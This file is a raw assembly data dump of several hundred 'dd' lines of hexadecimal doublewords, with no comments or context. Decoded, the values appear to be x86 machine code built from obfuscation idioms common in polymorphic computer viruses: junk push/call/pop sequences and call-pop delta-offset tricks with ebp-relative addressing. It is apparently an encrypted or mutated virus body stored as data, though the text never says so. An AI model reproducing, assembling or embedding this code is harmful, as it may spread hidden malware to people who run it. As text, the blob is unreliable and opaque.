		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0ACA8A1C3h, 0EE81812Ch, 573EA5Eh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5C7E3AC3h
		dd 2F18F2C5h, 0BD2900B8h, 6281FD1h, 0BC21858Dh,	67BF062Bh
		dd 83724FA5h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0A589BEC3h, 16D7DFC1h, 5650897Fh
		dd 895FF28Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 8EEFC3h,	6A5580h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 6AEEACC3h, 1D89B58Bh, 95FF0628h, 6282431h, 2221BD8Bh
		dd 9D8D0628h, 62B94F3h,	0F826C681h, 0D3FF5361h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 22CD8D89h
		dd 85FF0628h, 6281659h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 7CC35646h, 0EB43999Eh, 3D8CBBFAh, 334D9D89h
		dd 0CDE90628h, 0E8000006h, 0
		dd 2BED815Dh, 0E9062BBCh, 7, 711E42FFh,	0BEA3DB83h, 4C86EA9h
		dd 0DC1BD81h, 7D00628h,	860F0000h, 16Dh, 28C0BF66h, 33319D8Bh
		dd 0B5890628h, 62814B5h, 1E3DBD8Bh, 0E3810628h,	100h, 38C0Fh
		dd 0B70F0000h, 0FEBF0FF8h, 850FDB0Bh, 0DDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4FC35141h, 207635C0h
		dd 40FEBF66h, 0FE9h, 1D271800h,	9B74FA5Ah, 2BA6F3BAh, 6E0D71C0h
		dd 0BA40BD83h, 0F00062Bh, 6584h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 1B29CE4h, 0FB47874h
		dd 685h, 9B50B00h, 0E906281Fh, 8Ch, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 24C35343h, 5D12FAB0h, 19399D89h
		dd 840F0628h, 6, 21818D29h, 85C70628h, 62BBA40h, 1, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 40C35747h, 3C2B12D0h
		dd 2BE9h, 16BF6600h, 4085C73Ch,	62BBAh,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0AF29C353h, 33319D8Dh, 7E80628h, 0F8000000h,	89A73A4h
		dd 0BF0F19E1h, 23815EF2h, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 75C35646h, 0DB8C6608h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0EC35545h, 0B4B7E8BAh
		dd 0D0003E3Eh, 0F08B5652h, 4C3F65Eh, 57840Fh, 8B660000h
		dd 0FD95FFFEh, 6A062803h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0DB44C356h,	8B0FAF72h
		dd 6, 2318D29h,	50900628h, 90F78B66h, 6850F60h,	8B000000h
		dd 2821CDBDh, 8E806h, 630B0000h, 75DC04A9h, 58F83ED3h
		dd 39FE961h, 11E90000h,	0DE000000h, 0B3E37FF0h,	7737F00h
		dd 0BFC778BDh, 914758A9h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 283A04C3h, 0E6AA9F0Dh
		dd 0EE870h, 8C040000h, 9A277F14h, 0CB4AEF94h, 4A191996h
		dd 830F60h, 0E9000000h,	6, 0B1F030DCh, 5F61DB26h, 816671E4h
		dd 0FCCC5CFh, 6BAD8B6h,	57000000h, 6840Fh, 0BD2B0000h
		dd 6281931h, 6AC38B5Fh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0E814C357h,	4FCE1C81h
		dd 6A04E8C1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 3A59C355h, 0DB589ABh, 0E9062805h
		dd 0Bh,	0F9CCDEE0h, 86E03E1Eh, 6604C6FEh, 6AE2F7h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0DCEE86C3h, 6AD82Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0F91DD4C3h, 95B9BCEDh, 61BD8BFAh
		dd 50062826h, 11E8h, 508A3500h,	0B9AA088Dh, 78C1D43Bh
		dd 0AB0C93FBh, 7BE6A74h, 5F124CC0h, 6A241C89h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 5366C352h, 0FF2D8FD0h, 280DC1B5h, 5E906h, 0AF750000h
		dd 0FF3A870Ch, 28046595h, 0F2BF0F06h, 0B70F00B0h, 0EE9F9h
		dd 4FAC0000h, 0FD01CD30h, 986EE83Bh, 33F5E5EDh,	525070E6h
		dd 830Fh, 5E5F0000h, 9D3171E4h,	6281665h, 830F613Ch, 1EDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 6C35747h
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0C9C1C353h, 31D9D01h, 6BA0628h
		dd 0F000000h, 0C38BF3BFh, 19B50956h, 5F06281Eh,	304E8C1h
		dd 281FCDBDh, 0E2F76606h, 2681B58Bh, 0D82B0628h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 66C35747h, 1D80F83Eh
		dd 0C5B5290Dh, 5806280Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 2DC35646h, 8DBE34C8h,	0BE996h, 4A630000h
		dd 0DC3DF5E7h, 4331367Ch, 0FD82B83h, 12488h, 58B0F00h
		dd 0BE000000h, 3B4E18D3h, 7B9h,	0FB8B6600h, 0E900C183h
		dd 11h,	58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 0FD93B73h
		dd 0F086h, 54CE8100h, 665EE417h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B3A269C3h
		dd 833567B1h, 8166ADFFh, 0F64BFCD6h, 840F04C1h,	0ADh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 54C35747h, 0F879E9F7h
		dd 3FD95FFh, 8B600628h,	282B21B5h, 2D9D8B06h, 61062805h
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 5C9614E5h, 81C32BFDh, 0B5674FE7h, 8343D3Eh
		dd 860F0000h, 45h, 10E9h, 20834800h, 928469Bh, 3877F4ADh
		dd 6E797F46h, 33E91Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 2B2828C3h, 958D8932h
		dd 8B062800h, 2828D9BDh, 89C08B06h, 281E5D95h, 8BC38B06h
		dd 0F38B66D8h, 19F985C7h, 0FBFB0628h, 0C08B5BEAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DCC35747h, 0C1BD816Ah
		dd 0D006280Dh, 0F000007h, 3F85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 559D890Fh
		dd 0FF062804h, 280DC185h, 0BE806h, 245F0000h, 0CCBB3A49h
		dd 2DB757A4h, 0FDBD8930h, 5E062801h, 0DC1B5FFh,	10E80628h
		dd 2A000000h, 0A4AF5D6Bh, 61DDF248h, 767AB50Ah,	8BDD303Fh
		dd 2814A9BDh, 95FF5E06h, 6280465h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A8C35040h,	0AD554254h, 78B89008h
		dd 0BF123456h, 5BFB77A9h, 0C2B99D8Dh, 58E9062Bh, 6AFFFFF9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 310FC351h, 0B245665Ah, 49D2BE66h,	0B5BFC18Bh
		dd 0EB6B870Dh, 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0DE915h, 3E0C0000h, 0C0CA44C6h
		dd 14FE6426h, 6AB217D1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 98ECC357h, 2C05858Dh
		dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0F3021C3h, 0BDBEE45Ch, 0E6819D29h, 2F1A94B1h
		dd 2B95B589h, 0F500628h, 1180h,	9E800h,	10260000h, 6692444Eh
		dd 564ECE8Dh, 4895F5Eh,	0D4B06024h, 0FEB46EBBh,	6A6150h
		dd 14E951h, 572A0000h, 6B429AEDh, 1CA20875h, 0FED4B221h
		dd 6A4CAB04h, 6A5F3F1Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0DDC97E71h, 46E8E306h
		dd 858D262Fh, 62BC4CCh,	8BFA8B66h, 282BCDBDh, 5C08306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 58C35343h
		dd 0BB279621h, 8BF28BBBh, 282B75B5h, 48BE5006h,	892072C7h
		dd 0BF662404h, 6A9561h,	19119D89h, 0D7810628h, 4D70A3DAh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0DC76D9C3h, 2C77480Fh, 95FF98A2h,	6282431h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AEC35545h
		dd 92BD1157h, 0FE972645h, 94F39D8Dh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FF54B4C3h
		dd 959D89D3h, 0FF062802h, 28165985h, 68A0F06h, 89000000h
		dd 2812A595h, 0F48E906h, 0E80000h, 5D000000h, 0C4D6ED81h
		dd 800F062Bh, 0Ch, 6800Fh, 0C6810000h, 75D26611h, 0DC1BD81h
		dd 7D00628h, 860F0000h,	16Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0D0C35040h,	70EBC1B9h, 398D89F0h
		dd 8B062818h, 282BB59Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 9C424536h, 89F70DF0h
		dd 280C5D95h, 9E96006h,	20000000h, 917644A2h, 2930AB78h
		dd 68A0Fh, 8D290000h, 62802E5h,	5CF68161h, 811F1C3Eh, 100E3h
		dd 0F1B52300h, 0B06282Ch, 0AB850FDBh, 29000000h, 28272D8Dh
		dd 8D8B6006h, 62831D5h,	83617AB4h, 2BC2FCBDh, 840F0006h
		dd 39h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 61C35747h, 0FC56CA8h, 580h, 0C7816600h, 7EE90736h, 60000000h
		dd 21159D33h, 0F38B0628h, 0FC85C761h, 1062BC2h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0FFDC352h, 0D6BFB6C3h, 0E9207970h, 41h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 21C35343h, 7B00CFFEh
		dd 85C75495h, 62BC2FCh,	0
		dd 38C0Fh, 0B70F0000h, 68E0FF7h, 8B000000h, 28225DBDh
		dd 0B59D8D06h, 6006282Bh, 9589DA8Bh, 62822D9h, 0FF238161h
		dd 66FFFFFEh, 6696CCBFh, 0AE8DB8Ch, 5E000000h, 28DFAC49h
		dd 19AF0878h, 0CDB50390h, 5E062814h, 0F04C3F6h,	0B884h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0EE6CDB6Eh, 0EF81D02Ah, 53786A43h, 921BD8Bh
		dd 95FF0628h, 62803FDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 2EC35343h, 72AEFD32h,	8529AF04h, 62800B5h
		dd 33099D89h, 50900628h, 0BE525060h, 9BAB885h, 8E9310Fh
		dd 0A2000000h, 22108AF5h, 5ABF78C5h, 52506058h,	585A310Fh
		dd 6161DDB1h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B9D8078h, 280089BDh, 68A0F06h, 23000000h
		dd 282E91BDh, 438E906h,	0BD010000h, 62834B5h, 0B58900B0h
		dd 6281E95h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 9F0A93C3h, 6A71E4C1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 94B1C356h, 37A7FB5Ch, 0F781662Ch, 0F51FF85h,	281h, 5F616000h
		dd 66D8B60Fh, 89F16EBEh, 280DD9BDh, 6BA06h, 0B70F0000h
		dd 9C38BF1h, 28332D8Dh,	4E8C106h, 10E9h, 0F0F7C500h, 0B4255CDEh
		dd 2B67E54h, 0CDB17908h, 0E2F766F8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 15C35141h, 2E9FB1BBh, 0CD8D310Dh
		dd 6606282Eh, 2BD19EBEh, 89BD03D8h, 50062834h, 18860F50h
		dd 0E8000000h, 12h, 54664B11h, 340F9830h, 75867927h, 5D4AF1C5h
		dd 5F5E8C38h, 6A241C89h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7D19C352h, 0F0BF5831h
		dd 6006A096h, 2949B589h, 858B0628h, 6281035h, 0C1B5FF61h
		dd 0F806280Dh, 46595FFh, 6A0628h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 20918EC3h, 0DAA1459h
		dd 68E0F60h, 8B000000h,	282FA98Dh, 0AA54BA06h, 0B06152EAh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0E272B4DBh, 39BD8BD5h, 89062821h, 28263985h
		dd 6A70E606h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 14B0C352h, 0D68166B3h,	71E4AA13h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F1C35242h
		dd 8DF75879h, 850FF38Bh, 6, 74D2DF81h, 613C1C8Ch, 248830Fh
		dd 0B60F0000h, 55006AD8h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0D1850939h, 0BA06282Eh
		dd 6, 0DFD9509h, 0C38B0628h, 8D89F08Bh,	6280EB9h, 6604E8C1h
		dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0B2252AC3h, 89F98B10h, 28294DBDh,	6AD82B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0AA37C353h, 0CD73ADCEh, 6A587592h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2BD8C350h, 281F55BDh, 0FD82B06h, 19188h, 0F99D8900h
		dd 0B9062818h, 7, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	63C35040h, 95319F5Eh, 62814C9h,	6A00C183h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0D8F7C351h, 0E7815D04h, 358DC876h, 860FD93Bh, 132h
		dd 0E18CBE66h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0BCFC351h, 834F152Fh
		dd 0BD0B0C19h, 6280331h, 0F04C1F6h, 0D284h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0BF9E6ACFh, 2E8D46E6h, 0FD95FF53h, 89062803h, 28041585h
		dd 0F5BF906h, 481h, 37BE6600h, 6AC32B38h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C0CDC352h
		dd 0B28E71C3h, 5958B60h, 0E8062805h, 8,	0D7CA1510h, 0E07A47DBh
		dd 17BDBD89h, 61580628h, 8343Dh, 4C860F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DBECC356h, 0E973609Ah, 4Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0BEC35545h, 5E918h
		dd 30430000h, 8BD92011h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0A00E6D7Ah, 66EAD44Eh
		dd 0C38BFE8Bh, 0BE56D88Bh, 2E05D39Ah, 3185C75Eh, 3B062833h
		dd 6A7FA21Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 4F55C357h, 9AECBFC3h, 0C08B1D6Eh
		dd 0EB98589h, 0BD810628h, 6280DC1h, 7D0h, 0F850Fh, 830F0000h
		dd 3, 0FFF3BF0Fh, 280DC185h, 0C1B5FF06h, 6A06280Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 1617C352h, 2BED2EBFh, 95FFB301h, 6280465h, 3211B58Bh
		dd 40900628h, 0BD83FE8Bh, 6280CA9h, 0E840F00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3588C352h, 77C54B2Eh, 0B58992A3h,	628069Dh
		dd 7FD78166h, 61BD8308h, 62809h, 0D3840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 44BB72C3h, 0A995FF29h, 0BF06280Ch, 1D053660h, 840FC00Bh
		dd 0A1h, 9E9h, 0F1986200h, 29DA1DA7h, 8D8DD61Ch, 6284F6Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 80C35646h
		dd 84824C63h, 9D8958E9h, 6281D85h, 5B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FB724F1Eh, 0E9B7B6EDh, 0Eh,	0FE0BD3Fh, 45D9318Ch, 3E87D03Bh
		dd 0E1FF0E2Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	42C35141h, 90E48ECBh, 0FF516EFh, 8Ch, 5DBD8300h
		dd 62811h, 681840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 59F2ECC3h, 689537D6h
		dd 0D6816669h, 14E86013h, 0A7000000h, 991A332Bh, 0A52B2187h
		dd 2CD23DDBh, 4A1CDDAFh, 8B18D99Ah, 280635BDh, 0BD835E06h
		dd 6280961h, 2C840F00h,	89000006h, 280369BDh, 8DFE8B06h
		dd 2834B98Dh, 0B6BF6606h, 8401C704h, 0F44B27Ch,	686h, 61B58B00h
		dd 81062822h, 99CFCB01h, 57006A14h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0D0037725h, 1AE9261Fh
		dd 8D293517h, 62803B9h,	340441C7h, 0BFCE706Bh, 71F46B8Dh
		dd 10044181h, 3131D6D7h, 281769B5h, 0F88B6606h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0AC9523C3h, 0FE8h, 0B4A2F00h, 0AB4138D8h, 4BF6804Bh
		dd 5AAE556Dh
		dd 5EF9BF0Fh, 34B9858Dh, 13E80628h, 8D000000h, 0AD062F26h
		dd 7B6CF6FBh, 3E72B861h, 7085CDECh, 0B58B0D8Ah,	6282745h
		dd 0BE66905Eh, 0F50D18Eh, 384h,	0FE8B6600h, 89B58B90h
		dd 0FF062814h, 28115D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0A7904CB9h
		dd 1285BD8Bh, 8D8D0628h, 62834B9h, 28A0F57h, 50000000h
		dd 0B5895E5Fh, 6281FA5h, 1C7h, 0BD8B0000h, 6283361h, 441C7h
		dd 8B000000h, 282B95B5h, 0FC00B06h, 8B84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 96F0BF58h, 0AE9h, 65F51F00h,	33D67D9Ch, 8BAB0AD7h, 281479BDh
		dd 6E8D8D06h, 6A06284Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2FECC352h, 0B9B58B2Ch
		dd 0B806280Eh, 5, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	21C35040h, 0F6E55431h, 0BFE1FF26h, 5818591h, 34B98D8Dh
		dd 0F7810628h, 65EB205Dh, 727C01C7h, 6A44AAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 863B23C3h
		dd 5F6EB957h, 2DA9BD8Bh, 0BD8B0628h, 628030Dh, 0CFCB0181h
		dd 6A1499h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 49C28AC3h, 41C7FC58h, 78753C04h, 57006ACEh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0C9CD08D6h, 81A21102h, 0D7100441h, 6A31D6h, 2B85B58Bh
		dd 858D0628h, 62834B9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 80C35141h, 0E24F8EC4h, 0BD8D89D0h, 90062820h
		dd 0CE8h, 0FD432B00h, 0F5A03BF5h, 98BF7080h, 0BE6656A4h
		dd 5F5F40F7h, 6A9050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0CD561CC3h, 0B131F4D7h, 5D95FFB5h
		dd 8D062811h, 2834B98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 60089F7Bh, 81D1BF0Fh
		dd 14B108F0h, 1C76109h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 74C35545h
		dd 6AAD0FE7h, 441C7h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 9786C351h, 396EAB5Eh
		dd 2D318589h, 81660628h, 0B50CCCFh, 0CE840FC0h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 7789C353h, 6E8D8DB7h, 6A06284Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6045C357h, 0DFCF8160h, 0E901F3A0h, 5, 5B0AE789h, 12E8611Bh
		dd 11000000h, 0ECC8752Bh, 29D2A8B7h, 4C94A1C4h,	3214E11Dh
		dd 850FFBh, 5F000000h, 0E161BF61h, 5B808F1h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F9FC352h, 8589F6BFh, 6280295h, 6AE1FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0AC495EC3h, 577828DFh, 800F56h, 5E000000h, 0B98D8D5Eh
		dd 6A062834h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0BADFC351h, 0A8D9CA2Fh, 0E93980F4h
		dd 0Bh,	4B0CB38Fh, 0EA454E13h, 0C7EA742Bh, 0CA95A501h
		dd 56006A54h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 90901FEAh, 3BB04BFBh, 0B58B7F5Dh, 6281EA9h
		dd 0CFCB0181h, 6A1499h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 99EDC4C3h, 0F5B589B0h, 0F062814h
		dd 28Eh, 0C7F38B00h, 59690441h,	6ACE5Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 998E26C3h
		dd 5C92AA93h, 14E9E199h, 0A5000000h, 7213CF07h,	0FD9647F7h
		dd 0A6190D2Ah, 0AF1F4FE1h, 89E60716h, 28333985h, 4418106h
		dd 31D6D710h, 6AF88B66h, 95B52B00h, 8D062816h, 2834B985h
		dd 0C7816606h, 6650D0E6h, 894C65BEh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 148C04C3h
		dd 949A277Fh, 5FC681EFh, 0FF277889h, 28115D95h,	0DDBD8B06h
		dd 8D06281Fh, 2834B98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD8B389Eh, 62820C9h
		dd 1C7h, 0BD890000h, 6282F91h, 18F5DE81h, 41C77A63h, 4
		dd 0FC00B00h, 6284h, 6810F00h, 29000000h, 281909BDh, 6E8D8D06h
		dd 8B06284Fh, 281145B5h, 5B806h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0ABFBB0C3h
		dd 0BF562DD5h, 46C4745Eh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 3CAAFC3h, 0F104E9CAh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E99CD3C3h, 0Dh, 9151A88Ch, 9BB0EB81h, 0C411CCF6h
		dd 0BE849h, 73E80000h, 4C62301Eh, 871A7913h, 558D89A8h
		dd 81062816h, 0A68F84CEh, 0C18B5E30h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 20C35242h, 0CC2D5BA4h, 5F86976h
		dd 5E9BD8Bh, 4EB0628h, 0
		dd 7E9h, 8119AE00h, 36BAB4A3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 8BC35242h, 0BD8B13F9h, 6281775h
		dd 2C05858Dh, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 32A5F0C3h, 8F0F50F9h, 0Ch, 7E9h
		dd 0B44DCC00h, 3DF3C73Ch, 89240489h, 2834B59Dh,	0D858906h
		dd 6A06281Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 2F8B40E7h, 30071095h, 0DE1BD89h
		dd 6A0628h, 10E9h, 0C7EF6700h, 0EE70E98Ch, 5FD8F8A6h, 0EA9A0596h
		dd 3B858D8Ah, 6A062BD6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D5B8C356h,	60EB0D9Ch
		dd 2F99B58Bh, 83610628h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 47DA9BC3h, 21BA5183h
		dd 0B58BB060h, 62820A9h, 50525050h, 0F616052h, 6E831h
		dd 0AED80000h, 46D819E7h, 0F585A5Fh, 89585A31h,	6A2404h
		dd 26DBD89h, 6A0628h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Ah, 4AC35040h, 0F70FD15Ch, 95FF97BAh, 6282431h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1DC35242h
		dd 0AEA3B3D4h, 3DB52338h, 8D06280Fh, 2B94F39Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 70D8532Eh, 6E81CA67h, 0B58B1D37h, 62814EDh, 85FFD3FFh
		dd 6281659h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	30C35040h, 0DDB38E20h, 2D618589h, 0B58B0628h, 62805CDh
		dd 81AE9h, 0E800h, 815D0000h, 2BD645EDh, 815E5006h, 280DC1BDh
		dd 7D006h, 0E9860F00h, 89000000h, 281655B5h, 0B59D8B06h
		dd 6A062825h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3607C357h, 0E97CE55Ah,	0F88B9500h
		dd 100E381h, 0BD310000h, 6280FF9h, 850FDB0Bh, 5Fh, 0EB99589h
		dd 0BD830628h, 62BD447h, 10840F00h, 60000000h, 61C38B66h
		dd 72E9h, 0A9B58B00h, 0C7062811h, 2BD44785h, 106h, 0F7816600h
		dd 58E9FF01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 8F80C355h, 0FABE6B5Dh
		dd 29BD0910h, 0C706280Ch, 2BD44785h, 6,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 4661C18Fh, 81B58906h, 8D062825h, 2825B59Dh, 0FAB70F06h
		dd 0FEFF2381h, 0BD8BFFFFh, 6280629h, 6ADB8C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0BD7CC351h, 0BD899DEFh, 6282401h, 0F04C3F6h,	9784h
